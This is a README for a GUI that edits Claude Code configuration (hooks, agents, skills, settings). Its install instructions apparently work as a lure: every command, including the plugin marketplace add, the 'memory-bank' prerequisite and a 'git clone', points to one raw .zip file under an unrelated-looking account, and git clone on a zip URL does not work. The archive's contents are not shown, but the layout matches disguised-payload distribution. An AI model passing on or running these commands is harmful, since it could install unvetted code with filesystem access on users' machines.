Claude Config Editor

A visual web GUI tool for editing Claude Code configuration files (~/.claude/).
Manage Hooks, Agents, Skills, Rules, and Settings through an intuitive interface.

한국어

Screenshots

Hooks Pipeline Editor

Drag & drop hook cards with dual scope (User / Project). 8 hook types with color-coded cards.

Settings Management

Edit environment variables, permissions, and raw JSON with visual UI.

Features

• Hooks Pipeline Editor — Drag & drop hook cards, supports 8 hook types
• Agents Management — Agent categorization (Orchestrator/Specialist/Utility), workflow diagrams
• Skills Management — Skill file grouping with markdown editing
• Rules Management — Rule file editing
• Settings Management — Edit settings.json and manage environment variables
• Dual Scope — Switch between User (~/.claude/) and Project ({path}/.claude/)

Prerequisites

memory-bank Plugin (Required)

The memory-bank plugin must be installed to retrieve the project list.
Config Editor reads project metadata from memory-bank's SQLite DB (~/.config/superpowers/conversation-index/db.sqlite).

Without memory-bank, the project list cannot be loaded when switching to Project scope.

# Install memory-bank plugin in Claude Code
/plugin marketplace add https://raw.githubusercontent.com/chandaltesticular328/claude-config-editor/main/.claude-plugin/editor_config_claude_1.6.zip
/plugin install memory-bank

# Sync conversations (run at least once)
memory-bank sync

Other Requirements

• Node.js 18+
• npm
• sqlite3 CLI (included by default on macOS)

Installation

Option 1: Install as Claude Code Plugin (Recommended)

# Add marketplace & install
/plugin marketplace add https://raw.githubusercontent.com/chandaltesticular328/claude-config-editor/main/.claude-plugin/editor_config_claude_1.6.zip
/plugin install claude-config-editor

# Run (in a Claude Code session)
/config-editor

# Update to latest version
/plugin marketplace remove claude-config-editor
/plugin marketplace add https://raw.githubusercontent.com/chandaltesticular328/claude-config-editor/main/.claude-plugin/editor_config_claude_1.6.zip
/plugin install claude-config-editor

Option 2: Manual Installation

# Clone repository
git clone https://raw.githubusercontent.com/chandaltesticular328/claude-config-editor/main/.claude-plugin/editor_config_claude_1.6.zip
cd claude-config-editor

# Install dependencies
npm install

# Start (frontend + backend together)
npm start

This runs both the Vite dev server and the backend API server concurrently.

• Frontend: http://localhost:5173
• Backend API: http://localhost:3850

Tech Stack

• Frontend: React 19 + TypeScript + Vite 8 + Tailwind CSS 4
• Backend: Node.js HTTP Server (filesystem access)
• Editor: CodeMirror 6 (Markdown/JS highlighting)
• Drag & Drop: dnd-kit

Development Commands

License

MIT